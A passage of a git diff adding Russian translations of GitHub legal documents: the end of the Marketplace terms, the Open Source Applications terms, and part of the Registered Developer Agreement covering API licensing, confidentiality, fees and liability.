времени GitHub.com может проверять на удаленных серверах (размещенных на GitHub или у третьих лиц) доступные обновления для Продуктов разработчиков, включая, помимо прочего, исправления ошибок или расширенные функции. Вы соглашаетесь с тем, что такие обновления будут автоматически запрашиваться, загружаться и устанавливаться без дополнительного уведомления. + +## H. Блокировка Продукта разработчика + +GitHub может заблокировать доступ Продукта разработчика к нашим серверам или отключить его функциональность по юридическим или политическим причинам. В случае, если нам необходимо заблокировать или отключить Продукт разработчика, мы будем работать с Поставщиком продукта, чтобы уведомить затронутых пользователей. + +## I. Отказ от гарантий; Ограничение ответственности; Освобождение от ответственности и возмещение ущерба + +**Отказ от ответственности.** Вы используете Marketplace и любые Продукты разработчика, полученные через Marketplace, на свой страх и риск. За исключением случаев, когда прямо указано иное, GitHub предоставляет Marketplace и Продукты разработчиков «КАК ЕСТЬ» и «КАК ДОСТУПНО». GitHub не дает и не подразумевает никаких гарантий или обязательств в отношении Marketplace и Продуктов разработчика, включая, помимо прочего, конкретные функции, доступные через Marketplace и Продукты разработчика, их надежность, доступность или способность удовлетворить ваши потребности. + +Мы оставляем за собой право в любое время периодически изменять Веб-сайт (или любую его часть) или прекращать его работу, временно или постоянно, с уведомлением или без него. + +**Ограничение ответственности.** Вы понимаете и соглашаетесь с тем, что GitHub не несет ответственности перед вами или каким-либо третьим лицом за упущенную выгоду, использование, репутацию или данные, а также за любой случайный, непрямой, особый, косвенный или штрафной ущерб, независимо от того, как он возникает, в результате: (i) использования вами или невозможности использования Marketplace или любых Продуктов разработчика; (ii) любой модификации, изменения цены, приостановки или прекращения работы Marketplace или Продуктов разработчика; (iii) Marketplace в целом или программное обеспечение или системы, которые делают Marketplace доступным; (iv) несанкционированного доступа или изменения ваших передач или данных; (v) заявления или поведения любого третьего лица, Поставщика продукта или Продукта разработчика на Marketplace; (vi) любых других взаимодействий с пользователем, которые вы вводите или получаете при использовании Marketplace; или (vii) любого другого вопроса, связанного с Marketplace. + +**Освобождение от ответственности и возмещение ущерба.** Если у вас возник спор с одним или несколькими Поставщиками продуктов, вы освобождаете GitHub от всех претензий, требований и убытков (фактических и косвенных) любого рода и характера, известных и неизвестных, вытекающих из таких споров или каким-либо образом связанных с ними. + +Вы соглашаетесь возместить нам убытки, защитить нас и оградить нас от всевозможных претензий, обязательств и расходов, включая гонорары адвокатов, возникающих в результате использования вами Marketplace, включая, помимо прочего, ваше нарушение настоящих Условий Marketplace в том случае, если GitHub (1) незамедлительно направит вам письменное уведомление о претензии, требовании, иске или судебном разбирательстве; (2) дает вам единоличный контроль над защитой и урегулированием претензии, требования, иска или судебного разбирательства (при условии, что вы не можете урегулировать любую претензию, требование, иск или судебное разбирательство, если урегулирование безоговорочно освобождает GitHub от любой ответственности); и (3) оказывает вам всю разумную помощь за ваш счет. + +## J. Разное + +1. **Применимое право.** Вы соглашаетесь с тем, что настоящие Условия Marketplace и использование вами Продуктов разработчика регулируются законодательством штата Калифорния, и любой спор, связанный с Продуктами разработчиков, должен рассматриваться в суде компетентной юрисдикции, расположенном в Сан-Франциско, штат Калифорния, или поблизости от него. + +2. **Непереуступаемость.** GitHub может назначать или делегировать настоящие Условия Marketplace и/или [Заявление о конфиденциальности GitHub](/articles/github-privacy-statement/), полностью или частично, любому физическому или юридическому лицу в любое время с вашего согласия или без него. Вы не можете назначать или делегировать какие-либо права или обязанности в соответствии с Условиями Marketplace или Заявлением о конфиденциальности без нашего предварительного письменного согласия, и любая несанкционированная уступка и делегирование с вашей стороны является недействительным. + +3. **Независимость положений соглашения, оговорка о неотказе и сохранение юридической силы.** Если какая-либо часть настоящих Условий Marketplace будет признана недействительной или не имеющей исковой силы, эта часть Условий Marketplace будет толковаться так, чтобы отразить первоначальные намерения сторон. Остальные положения сохраняют свою юридическую силу. Если GitHub не может выполнить или осуществить какое-либо право или положение настоящих Условий Marketplace, это не должно считаться отказом от такого права или положения. Наши права в соответствии с настоящими Условиями Marketplace остаются в силе после прекращения действия настоящих Условий Marketplace. + +4. **Без модификаций; Полное соглашение.** Настоящие Условия Marketplace могут быть изменены только посредством письменной поправки, подписанной уполномоченным представителем GitHub, или путем размещения GitHub измененной версии. Настоящие Условия Marketplace вместе с [Заявлением о конфиденциальности GitHub](/articles/github-privacy-statement/) представляют собой полное и исключительное заявление о соглашении между вами и нами. Настоящие Условия Marketplace заменяют любое предложение или предварительное устное или письменное соглашение, а также любые другие сообщения между вами и GitHub, касающиеся предмета этих условий. + +5. **Заголовки разделов.** В настоящих Условиях Marketplace каждый раздел включает заголовки следующих положений и условий. Названия этих разделов не имеют обязательной юридической силы. + +6. **Лицензия на политики GitHub.** Настоящие Условия Marketplace лицензированы в соответствии с данной [Нулевой лицензией Creative Commons](https://creativecommons.org/publicdomain/zero/1.0/). Подробности смотрите в нашем [репозитории политики сайта](https://github.com/github/site-policy#license). + +7. **Связь с GitHub.** Есть вопросы об Условиях Marketplace? [Свяжитесь с нами](https://support.github.com/contact?tags=docs-policy). diff --git a/translations/ru-RU/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md b/translations/ru-RU/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md new file mode 100644 index 000000000000..80be990ce8ba --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-open-source-applications-terms-and-conditions.md @@ -0,0 +1,72 @@ +--- +title: Условия использования приложений GitHub с открытым кодом +redirect_from: + - /articles/github-open-source-applications-terms-and-conditions + - /github/site-policy/github-open-source-applications-terms-and-conditions +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 0e0eae030624b3b465c321690d9d9e08c6483bed +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556791' +--- +Условия использования приложений GitHub с открытым кодом («Условия использования») являются юридическим соглашением между вами (либо в качестве физического лица, либо от имени юридического лица) и GitHub, Inc. об использовании вами приложений GitHub, таких как GitHub Desktop™ и сопутствующая документация («Программное обеспечение»). Настоящие Условия использования распространяются на версию исполняемого кода Программного обеспечения. Исходный код Программного обеспечения доступен отдельно и бесплатно в соответствии с лицензионными соглашениями на программное обеспечение с открытым кодом. Если вы не согласны со всеми условиями настоящих Условий использования, не загружайте, не устанавливайте, не используйте и не копируйте Программное обеспечение. + +## Подключение к GitHub + +Если вы настроите Программное обеспечение для работы с одной или несколькими учетными записями на веб-сайте GitHub.com или экземпляром GitHub Enterprise, использование вами Программного обеспечения также будет регулироваться применимыми Условиями обслуживания веб-сайта GitHub.com и/или применимым лицензионным соглашением к вашему экземпляру GitHub Enterprise («Условия GitHub»). + +Любое использование Программного обеспечения, нарушающее ваши применимые Условия GitHub, также будет являться нарушением настоящих Условий использования. + +## Лицензии на программное обеспечение с открытым кодом и уведомления + +Лицензия на программное обеспечение с открытым кодом включена в документацию «Уведомления об открытом коде», которая прилагается к Программному обеспечению. Эта документация также включает копии всех применимых лицензий на программное обеспечение с открытым кодом. + +В той мере, в какой условия лицензий, применимых к компонентам с открытым кодом, требуют от GitHub сделать предложение о предоставлении исходного кода в связи с Программным обеспечением, такое предложение делается настоящим, и вы можете воспользоваться им, связавшись с GitHub: https://github.com/contact + +Если иное не согласовано в письменной форме с GitHub, ваше соглашение с GitHub всегда будет включать в себя как минимум настоящие Условия использования. Лицензии на программное обеспечение с открытым кодом для исходного кода Программного обеспечения представляют собой отдельные письменные соглашения. В той ограниченной степени, в которой лицензии на программное обеспечение с открытым кодом явно заменяют собой настоящие Условия использования, лицензии на программное обеспечение с открытым кодом регулируют ваше соглашение с GitHub об использовании Программного обеспечения или конкретных включенных компонентов Программного обеспечения. + +## Логотипы GitHub + +Предоставление лицензии, включенное в Программное обеспечение, не распространяется на товарные знаки GitHub, в том числе логотипы Программного обеспечения. GitHub сохраняет за собой все права на товарные знаки и авторские права в отношении всех товарных знаков GitHub. Логотипы GitHub включают, например, стилизованные изображения, включающие «логотип» в заголовке файла в папке «логотипы». + +Названия GitHub, GitHub Desktop, GitHub для Mac, GitHub для Windows, Atom, Octocat и соответствующие логотипы GitHub и/или стилизованные названия являются товарными знаками GitHub. Вы соглашаетесь не отображать и не использовать эти товарные знаки каким-либо образом без предварительного письменного разрешения GitHub, за исключением случаев, разрешенных Политикой логотипов и использования GitHub: https://github.com/logos. + +## Конфиденциальность + +Программное обеспечение может собирать персональные данные. Вы можете контролировать, какую информацию собирает Программное обеспечение, на панели настроек. Если Программное обеспечение собирает личную информацию от имени GitHub, GitHub будет обрабатывать эту информацию в соответствии с [Заявлением о конфиденциальности GitHub](/articles/github-privacy-statement/). + +## Дополнительные услуги + +**Службы автоматического обновления** + +Программное обеспечение может включать службу автоматического обновления («Сервис»). Если вы решите использовать Сервис или загрузите Программное обеспечение, которое автоматически активирует Сервис, GitHub автоматически обновит Программное обеспечение, когда будет доступна новая версия. + +**Отказ от ответственности и ограничение ответственности** + +СЕРВИС ПРЕДОСТАВЛЯЕТСЯ НА ОСНОВЕ «КАК ЕСТЬ», И НИКАКИХ ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, НЕ ПРЕДОСТАВЛЯЕТСЯ. ВЫ ИСПОЛЬЗУЕТЕ СЕРВИС НА СВОЙ РИСК. GitHub не гарантирует, что (i) Сервис будет соответствовать вашим конкретным требованиям; (ii) Сервис полностью совместим с любой конкретной платформой; (iii) использование вами Сервиса будет бесперебойным, своевременным, безопасным и безошибочным; (iv) результаты, которые могут быть получены при использовании Сервиса, будут точными или надежными; (v) качество любых продуктов, услуг, информации или других материалов, приобретенных или полученных вами через Сервис, будет соответствовать вашим ожиданиям; или (vi) любые ошибки в Сервисе будут исправлены. + +ВЫ ЯВНО ПОНИМАЕТЕ И СОГЛАШАЕТЕСЬ С ТЕМ, ЧТО GITHUB НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ЗА КАКИЕ-ЛИБО ПРЯМЫЕ, КОСВЕННЫЕ, СЛУЧАЙНЫЕ, ОСОБЫЕ, ПОСЛЕДУЮЩИЕ ИЛИ ПРИМЕРНЫЕ УБЫТКИ, ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО, УЩЕРБ ОТ ПОТЕРИ ПРИБЫЛИ, РЕЗУЛЬТАТА, ИСПОЛЬЗОВАНИЯ, ДАННЫХ ИЛИ ДРУГИХ НЕМАТЕРИАЛЬНЫХ УБЫТКОВ (ДАЖЕ ЕСЛИ GITHUB БЫЛ ПРЕДУПРЕЖДЕН О ВОЗМОЖНОСТИ ТАКОГО УЩЕРБА), СВЯЗАННЫЕ С СЕРВИСОМ, включая, например: (i) использование или невозможность использования Сервиса; (ii) стоимость приобретения замещающих товаров и услуг в связи с любыми товарами, данными, информацией или услугами, приобретенными или полученными, или полученными сообщениями, или транзакциями, заключенными через или из Сервиса; (iii) несанкционированный доступ или изменение ваших передач или данных; (iv) заявления или поведение любого третьего лица в Сервисе; (v) или любой другой вопрос, связанный с Сервисом. + +GitHub оставляет за собой право в любое время периодически изменять или прекращать, временно или постоянно, Сервис (или любую его часть) с уведомлением или без него. GitHub не несет ответственности перед вами или какой-либо третьей стороной за любое изменение цены, приостановку или прекращение предоставления Сервиса. + +## Разное + +1. Отсутствие отказа от прав. Если GitHub не может выполнить или осуществить какое-либо право или положение настоящих Условий использования, это не должно считаться отказом от такого права или положения. + +2. Полное соглашение. Настоящие Условия использования вместе с любыми применимыми Уведомлениями о конфиденциальности составляют полное соглашение между вами и GitHub и регулируют использование вами Программного обеспечения, заменяя любые предыдущие соглашения между вами и GitHub (включая, помимо прочего, любые предыдущие версии Условий использования). + +3. Применимое право. Вы соглашаетесь с тем, что настоящие Условия использования и использование вами Программного обеспечения регулируются законодательством штата Калифорния, и любой спор, связанный с Программным обеспечением, должен рассматриваться в суде компетентной юрисдикции, расположенном в Сан-Франциско, штат Калифорния, или поблизости от него. + +4. Сторонние пакеты. Программное обеспечение поддерживает сторонние «Пакеты», которые могут модифицировать, добавлять, удалять или изменять функциональные возможности Программного обеспечения. Эти пакеты не подпадают под действие настоящих Условий использования и могут включать собственную лицензию, которая регулирует использование вами конкретного пакета. + +5. Без модификаций; Полное соглашение. Настоящие Условия использования могут быть изменены только посредством письменной поправки, подписанной уполномоченным представителем GitHub, или путем размещения GitHub измененной версии. Настоящие Условия использования вместе с любыми применимыми лицензиями и уведомлениями с открытым кодом, а также Заявлением о конфиденциальности GitHub представляют собой полное и исключительное заявление о соглашении между вами и нами. Настоящие Условия использования заменяют любое предложение или предварительное устное или письменное соглашение, а также любые другие сообщения между вами и GitHub, касающиеся предмета этих условий. + +6. Лицензия на политики GitHub. Настоящие Условия использования лицензированы в соответствии с данной [Нулевой лицензией Creative Commons](https://creativecommons.org/publicdomain/zero/1.0/). Подробности смотрите в нашем [репозитории политики сайта](https://github.com/github/site-policy#license). + +7. Связь с GitHub. Есть вопросы об Условиях обслуживания? [Свяжитесь с нами](https://support.github.com/contact?tags=docs-policy). diff --git a/translations/ru-RU/content/site-policy/github-terms/github-registered-developer-agreement.md b/translations/ru-RU/content/site-policy/github-terms/github-registered-developer-agreement.md new file mode 100644 index 000000000000..8999c9f541cb --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-registered-developer-agreement.md @@ -0,0 +1,130 @@ +--- +title: Соглашение с зарегистрированным разработчиком GitHub +redirect_from: + - /articles/github-registered-developer-agreement + - /github/site-policy/github-registered-developer-agreement +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 13a5143dbc6013c71d97078e9a8e44c96c5def3c +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556667' +--- +GitHub повезло, что многие разработчики интегрируются с нашей платформой. Мы думаем, что это здорово, и мы хотим сделать этот опыт еще лучше. Программа для разработчиков GitHub («Программа») помогает нам связываться с вами, делиться с вами информацией и поддерживать ваши творческие усилия лучше, чем когда-либо прежде. Особые отношения между GitHub и сообществом разработчиков, создаваемые Программой, требуют особого набора условий. Добро пожаловать в Соглашение с зарегистрированным разработчиком («Соглашение»). + +Настоящее Соглашение является юридическим соглашением между вами («вы») и GitHub, Inc. («GitHub», «мы» или «нас»). Внимательно прочтите настоящее Соглашение — оно регулирует ваше участие в Программе, и мы готовы разрешить вам участвовать в Программе только в том случае, если вы примете все условия настоящего Соглашения. Нажимая «Я согласен» ниже или участвуя в Программе каким-либо образом — например, получая доступ к информации о продуктах или функциях GitHub, которые еще не доступны широкой публике, — вы соглашаетесь соблюдать все условия настоящего Соглашения. ЕСЛИ ВЫ ЗАКЛЮЧАЕТЕ НАСТОЯЩЕЕ СОГЛАШЕНИЕ ОТ ИМЕНИ КОМПАНИИ ИЛИ ДРУГОГО ЮРИДИЧЕСКОГО ЛИЦА, ВЫ ПОДТВЕРЖДАЕТЕ, ЧТО ИМЕЕТЕ ЮРИДИЧЕСКИЕ ПОЛНОМОЧИЯ ОБЯЗАТЬ ЮРИДИЧЕСКОЕ ЛИЦО СОБЛЮДАТЬ ЭТО СОГЛАШЕНИЕ, В ЭТОМ СЛУЧАЕ «ВЫ» БУДЕТ ОЗНАЧАТЬ ЮРИДИЧЕСКОЕ ЛИЦО, КОТОРОЕ ВЫ ПРЕДСТАВЛЯЕТЕ. ЕСЛИ У ВАС НЕТ ТАКИХ ПОЛНОМОЧИЙ ИЛИ ЕСЛИ ВЫ НЕ СОГЛАСНЫ С УСЛОВИЯМИ НАСТОЯЩЕГО СОГЛАШЕНИЯ, ВЫ ДОЛЖНЫ НАЖАТЬ КНОПКУ «ОТМЕНА» И ВЫ НЕ МОЖЕТЕ УЧАСТВОВАТЬ В ПРОГРАММЕ. ЕСЛИ ВЫ ЯВЛЯЕТЕСЬ КОМПАНИЕЙ ИЛИ ДРУГИМ ЮРИДИЧЕСКИМ ЛИЦОМ, ВЫ ПОДТВЕРЖДАЕТЕ, ЧТО ЛИЦО, НАЖИМАЮЩЕЕ «СОГЛАСЕН», ИМЕЕТ ПОЛНОМОЧИЯ СВЯЗАТЬ ВАС ЭТИМ СОГЛАШЕНИЕМ. + +1. **Будут применяться Условия использования GitHub.com** + + Для участия в Программе вам необходимо иметь учетную запись на GitHub.com. Нажимая «Я согласен» в нижней части настоящего Соглашения, вы также соглашаетесь соблюдать положения [Условия обслуживания](/articles/github-terms-of-service) («ТОС»). В случае прямого противоречия между настоящим Соглашением и Условиями обслуживания настоящее Соглашение будет иметь преимущественную силу; в противном случае оба соглашения будут применяться к вам одновременно. + +2. **Условия программы** + + Мы публикуем [Преимущества и правила программы](/program/) («Обзор программы»). Как и следовало ожидать, Обзор программы время от времени будет меняться. Эти изменения будут применяться к вам как к участнику Программы, поэтому мы рекомендуем вам периодически просматривать Обзор программы, чтобы быть в курсе любых изменений. По разным причинам нам может потребоваться изменить, приостановить или прекратить действие Программы или некоторых предлагаемых нами преимуществ. Вы соглашаетесь с тем, что мы можем делать это без ответственности перед вами, за исключением случаев, указанных в Разделе 8. + +3. **Лицензия API** + + Пока вы соблюдаете Условия обслуживания, настоящее Соглашение и Условия программы, мы предоставляем вам ограниченную, всемирную, неисключительную лицензию без права передачи в течение срока действия настоящего Соглашения на доступ и использование нашего API (как определено в [Условиях обслуживания](/articles/github-terms-of-service)) исключительно в целях разработки, демонстрации, тестирования и поддержки функциональной совместимости и интеграции между вашими продуктами и услугами и нашими продуктами и услугами. + + Вы обещаете не делать ничего плохого с нашим API. Среди прочего это означает, что вы не будете — и не позволите другим — изменять, публиковать, продавать, сдавать в аренду, лицензировать, распространять или сублицензировать наш API; декомпилировать, дизассемблировать, изучать технологию или иным образом пытаться получить исходный код из нашего API; воспроизводить, изменять или создавать производные работы на основе нашего API; использовать наш API для предоставления услуг бюро обслуживания, хостинга приложений или обработки третьим лицам; включать или иным образом комбинировать или интегрировать наш API с любыми вашими продуктами или услугами; или использовать наш API для участия, поддержки или разрешения любой незаконной деятельности. + + Мы оставляем за собой право в любое время периодически изменять API (или любую его часть) или прекращать доступ к API (или любой его части), временно или постоянно, с уведомлением или без него. Вы несете единоличную ответственность за обеспечение совместимости используемого вами API с текущим API. Помимо прав, которые мы прямо предоставляем вам в настоящем Соглашении или Условиях обслуживания, мы не предоставляем вам никаких прав или лицензий на наш API или любые другие продукты или услуги GitHub. + +4. **Ваши продукты, услуги и интеграции** + + Ваши продукты, услуги и интеграции (совместно именуемые «Продукты») находятся под вашей ответственностью. Это означает, что вы несете единоличную ответственность за разработку, эксплуатацию и обслуживание всех аспектов ваших Продуктов; обеспечение того, чтобы все материалы, используемые с вашими Продуктами или в них, были законными во всех юрисдикциях, где используются ваши Продукты, и не пропагандировали незаконную деятельность; получение любых прав или лицензий, необходимых для использования и/или распространения любого стороннего программного обеспечения, которое вы используете, включаете, интегрируете или распространяете с вашими Продуктами; и предоставление вашим конечным пользователям такой же высококачественной технической поддержки для ваших Продуктов, когда они работают в сочетании с нашим API или любыми другими нашими продуктами и услугами, как и вы, когда они работают самостоятельно. + +5. **Маркетинг и реклама** + + Маркетинг и реклама ваших интеграций с GitHub ценны для нас обоих. Мы хотим быть уверены, что это происходит правильно, поэтому мы включили здесь некоторые формулировки, чтобы прояснить некоторые основные правила, которые необходимо соблюдать. + + Вы соглашаетесь с тем, что не будете делать никаких заявлений, гарантий или подтверждений кому-либо от имени GitHub (включая среди прочего какие-либо продукты или услуги GitHub). Если мы прямо не уведомим об этом в Условиях программы, вы обязуетесь не заявлять и не подразумевать, что мы разработали, одобрили, проверили или иным образом одобрили какой-либо из ваших Продуктов. + + Если вы решите продвигать или публиковать какие-либо из наших продуктов или услуг в связи с вашими Продуктами, вам необходимо убедиться, что вы соблюдаете условия настоящего Соглашения, Условия программы, Условия обслуживания, нашу [политику товарных знаков](/articles/github-trademark-policy) и любые другие применимые политики GitHub. В соответствии с положениями и условиями настоящего Соглашения и Условий обслуживания, а также в течение срока действия настоящего Соглашения мы предоставляем вам ограниченную, отзывную, всемирную, неисключительную, непередаваемую лицензию на использование наших товарных знаков, знаков обслуживания и логотипов (совместно именуемые «Знаки GitHub») в соответствии с нашей [политикой товарных знаков](/articles/github-trademark-policy) и, как указано в Условиях программы, исключительно в целях публикации информации о вашем участии в Программе. + + Мы хотим рассказать миру о вас и вашем участии в Программе. Чтобы помочь нам в этом, вы предоставляете нам ограниченную, отзывную, всемирную, неисключительную, непередаваемую лицензию на использование ваших товарных знаков, знаков обслуживания и логотипов (совместно именуемые «Знаки партнеров») в наших маркетинговых материалах исключительно с целью продвижения Программы и информирования о вашем участии в ней. + + За исключением случаев, оговоренных в настоящем Соглашении и Условиях обслуживания, ничто в настоящем Соглашении не будет рассматриваться как предоставление одной стороне каких-либо прав, титулов или интересов в отношении Знаков другой стороны. Вы соглашаетесь в течение или после срока действия настоящего Соглашения: (i) не оспаривать или не помогать другим в оспаривании Знаков GitHub или нашей регистрации или принудительного применения Знаков GitHub; (ii) не пытаться принять, использовать, подать заявку или зарегистрировать какой-либо товарный знак, знак обслуживания, логотип, URL-адрес, имя домена в Интернете или символ, которые сходны до степени смешения со Знаками GitHub; или (iii) не делать какие-либо негативные, ложные или пренебрежительные заявления (в письменной или устной форме) любой третьей стороне о нас, наших продуктах или наших услугах. + +6. **Конфиденциальность; Предварительные материалы** + + Как зарегистрированный разработчик в Программе, вы можете получить доступ к специальной информации, недоступной для остального мира. Из-за конфиденциального характера этой информации для нас важно убедиться, что вы держите эту информацию в секрете. + + Вы соглашаетесь с тем, что любая непубличная информация, которую мы вам предоставляем или к которой вы можете иметь доступ в качестве участника Программы, будет считаться конфиденциальной информацией GitHub (совместно именуемой «Конфиденциальная информация») независимо от того, помечена ли она или идентифицирована как таковая. Вы соглашаетесь использовать такую Конфиденциальную информацию только для ваших разрешенных целей в качестве участника Программы («Цель»), а не для каких-либо других целей. Вы должны принять разумные меры предосторожности для предотвращения любого несанкционированного использования, раскрытия, публикации или распространения нашей Конфиденциальной информации. Вы обязуетесь не разглашать, не публиковать и не распространять Конфиденциальную информацию какой-либо третьей стороне, кроме ваших сотрудников и подрядчиков, и только в том случае, если: (i) им необходимо знать Конфиденциальную информацию для Цели; (ii) вы сообщаете им о конфиденциальном характере Конфиденциальной информации; (iii) вы по-прежнему несете ответственность за действия и бездействие таких сотрудников и подрядчиков; и (iv) мы не запрещаем и не ограничиваем такое раскрытие информации. + + Вы понимаете, что несанкционированное раскрытие или использование нашей Конфиденциальной информации может нанести нам непоправимый ущерб и значительный ущерб, который нам может быть трудно оценить количественно. Соответственно, вы соглашаетесь с тем, что у нас будет право требовать немедленного судебного запрета, чтобы убедиться, что вы соблюдаете настоящее Соглашение, в дополнение к любым другим правам и средствам правовой защиты, которые могут у нас быть. Если вы обязаны раскрыть нашу Конфиденциальную информацию по закону, постановлению или действующему обязательному постановлению суда компетентной юрисдикции, вы можете сделать это, но только если вы уведомите нас до того, как вы это сделаете, и сделаете все возможное, чтобы ограничить такое раскрытие и обеспечить конфиденциальное и защитное обращение с такой информацией. + + Обязательства в этом Разделе 6 не распространяются на информацию, в отношении которой вы можете доказать, что она: (i) была общедоступна до того, как мы сообщили вам об этом; (ii) стала общедоступной после того, как мы раскрыли ее вам, без каких-либо действий или бездействия с вашей стороны или со стороны ваших сотрудников или подрядчиков; (iii) были известна вам до того, как мы сообщили вам об этом; (iv) была раскрыта вам третьим лицом, у которого не было никаких обязательств по сохранению конфиденциальности в отношении нее; (v) была самостоятельно разработана вами без нарушения каких-либо обязательств конфиденциальности перед нами или любым третьим лицом; или (vi) если мы дали вам разрешение на раскрытие такой информации в письменной форме с подписью одного из наших уполномоченных представителей. + + Если Мы предоставим вам какое-либо предварительное программное обеспечение или сопутствующую документацию или материалы, которые могут включать видео или другие формы контента («Предварительные материалы»), при условии соблюдения вами положений и условий настоящего Соглашения и Условий обслуживания, настоящим мы предоставляем вам неисключительное, непередаваемое, отзывное право и лицензию на использование Предварительных материалов исключительно для поддержки тестирования и/или разработки продуктов или услуг, предназначенных для работы в сочетании с системами или программами, для которых предназначены Предварительные материалы. Если Предварительные материалы сопровождаются отдельным лицензионным соглашением, вы соглашаетесь с тем, что будет применяться отдельное лицензионное соглашение (в дополнение к любым более ограничительным положениям, содержащимся в настоящем Соглашении или Условиях обслуживания). Вы соглашаетесь не декомпилировать, не изучать технологию, не дизассемблировать или иным образом не преобразовывать Предварительные материалы в форму, воспринимаемую человеком, и вы обещаете не модифицировать, не объединять, не сдавать в аренду, не сдавать в лизинг, не передавать, не продавать или не одалживать Предварительные материалы, полностью или частично. Вы понимаете, что мы не обязаны предоставлять вам какие-либо Предварительные материалы, предоставлять вам обновления, улучшения или исправления Предварительных материалов или уведомлять вас об изменениях, которые мы вносим в наши продукты и услуги, сейчас или в будущем. + +7. **Сборы и платежи** + + За участие в Программе могут взиматься сборы. Мы сообщим вам, что собой представляют такие сборы, в Условиях программы, которые мы время от времени обновляем (далее «Сборы за программу»). Если вы предоставили нам свою платежную информацию ранее, вы соглашаетесь с тем, что мы можем снимать средства с той же кредитной карты или со счета PayPal в рамках настоящего Соглашения. В противном случае вам потребуется предоставить нам действительный платежный счет и другую вспомогательную информацию. Если иное прямо не предусмотрено в Разделе 8, любые платежи, которые вы делаете нам для Программы, не подлежат возврату. Вы даете нам разрешение автоматически списывать средства с вашего платежного счета по сроку истечения действия вашего первого платежа для покрытия всех Сборов за программу в следующем году, если только вы не расторгнете настоящее Соглашение в соответствии с Разделом 8. Все сборы уплачиваются в долларах США и не включают в себя все налоги, сборы или пошлины, взимаемые налоговыми органами (вы несете ответственность за все это, за исключением налогов, основанных на нашем доходе). + +8. **Срок действия и прекращение действия** + + Настоящее Соглашение вступает в силу с даты, когда вы нажимаете «Согласен», и действует в течение одного (1) года. Настоящее Соглашение будет автоматически продлеваться на последующие сроки в один год, если ни одна из сторон не направит письменное уведомление не менее чем за тридцать (30) дней до истечения текущего срока о своем желании расторгнуть его, или если кто-либо из нас не расторгнет его раньше в соответствии с настоящим Разделом 8. + + Вы или GitHub может прекратить действие настоящего Соглашения независимо от причины без оснований при условии уведомления другой стороны в письменной форме не менее чем за 30 (тридцать) дней. Если мы прекратим действие настоящего Соглашения или прекратим ваш доступ к Программе по любой причине, кроме нарушения вами настоящего Соглашения, Условий программы или Условий обслуживания, мы, в качестве вашего единственного средства правовой защиты и нашего единственного обязательства в связи с таким прекращением действия, возместим вам пропорциональную часть Сборов за программу, которую вы заплатили нам за текущий срок действия настоящего Соглашения. Действие настоящего Соглашения прекращается немедленно, без уведомления, если вы нарушаете какое-либо условие настоящего Соглашения, Условий программы или Условий обслуживания. + + Права и обязанности, изложенные в разделах 1, 2, 3 (второй и третий абзацы), 4, 5 (второй и последний абзацы), 6, 7 и с 9 по 21 настоящего Соглашения, остаются в силе после расторжения или истечения срока действия настоящего Соглашения. После расторжения или истечения срока действия настоящего Соглашения все права и лицензии, которые мы предоставили вам по настоящему Соглашению, немедленно прекратят свое существование, вы вернете (или, по нашему запросу, уничтожите) всю нашу Конфиденциальную информацию и любые копии (включая электронные копии), которые находятся в вашем владении или под вашим контролем, и вы письменно подтвердите, что выполнили эти требования. + +9. **Гарантии и заявления об отказе от ответственности** + + Вы гарантируете нам, что вы: (i) имеете право подписывать настоящее Соглашение и выполнять свои обязательства; (ii) будете вести бизнес таким образом, который всегда положительно отражается на продуктах и услугах GitHub, а также на нашем добром имени, деловой репутации и репутации; (iii) не будете делать ложных или вводящих в заблуждение заявлений или заявлений относительно GitHub или наших продуктов и услуг; (iv) не будете брать на себя никаких обязательств или ответственности, а также не будете делать никаких заявлений, гарантий, гарантий или одобрений кому-либо от нашего имени (включая, помимо прочего, любые наши продукты или услуги); и (v) не будете заявлять или подразумевать, что Мы разработали, одобрили, проверили или иным образом одобрили какой-либо из ваших Продуктов. + + ПРОГРАММА, API И ЛЮБАЯ КОНФИДЕНЦИАЛЬНАЯ ИНФОРМАЦИЯ, КОТОРУЮ МЫ ПРЕДОСТАВЛЯЕМ ВАМ (ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО, ПРЕДВАРИТЕЛЬНЫЕ МАТЕРИАЛЫ) ПРЕДОСТАВЛЯЮТСЯ «КАК ЕСТЬ» И БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ. МЫ ОПРЕДЕЛЕННО НЕ ПРИЗНАЕМ ВСЕВОЗМОЖНЫХ ПОДРАЗУМЕВАЕМЫХ ГАРАНТИЙ ИЛИ УСЛОВИЙ ОТНОСИТЕЛЬНО ТОВАРНОЙ ПРИГОДНОСТИ, ПРИМЕНИМОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ И НЕНАРУШЕНИЯ ПРАВА СОБСТВЕННОСТИ. МЫ НЕ ГАРАНТИРУЕМ, ЧТО ЛЮБЫЕ УСЛУГИ ИЛИ ПРОДУКТЫ, КОТОРЫЕ МЫ ПРЕДОСТАВЛЯЕМ ВАМ, БУДУТ ОТВЕЧАТЬ ВАШИМ ТРЕБОВАНИЯМ ИЛИ ТРЕБОВАНИЯМ ВАШИХ КОНЕЧНЫХ ПОЛЬЗОВАТЕЛЕЙ. + +10. **Освобождение от ответственности и возмещение ущерба** + + Мы даем вам много полезных предварительных материалов как часть Программы, и есть способы, которыми вы можете использовать эти материалы ненадлежащим образом, что может причинить нам вред. Имея это в виду, а также поскольку мы не можем контролировать способы вашего участия в Программе, вы соглашаетесь с тем, что возместите ущерб, защитите нас и обезопасите нас от любых и всех претензий, которые могут возникнуть в связи с вашим участием в Программе; использованием вами API, нашей Конфиденциальной информации или любых других продуктов и услуг GitHub; вашей 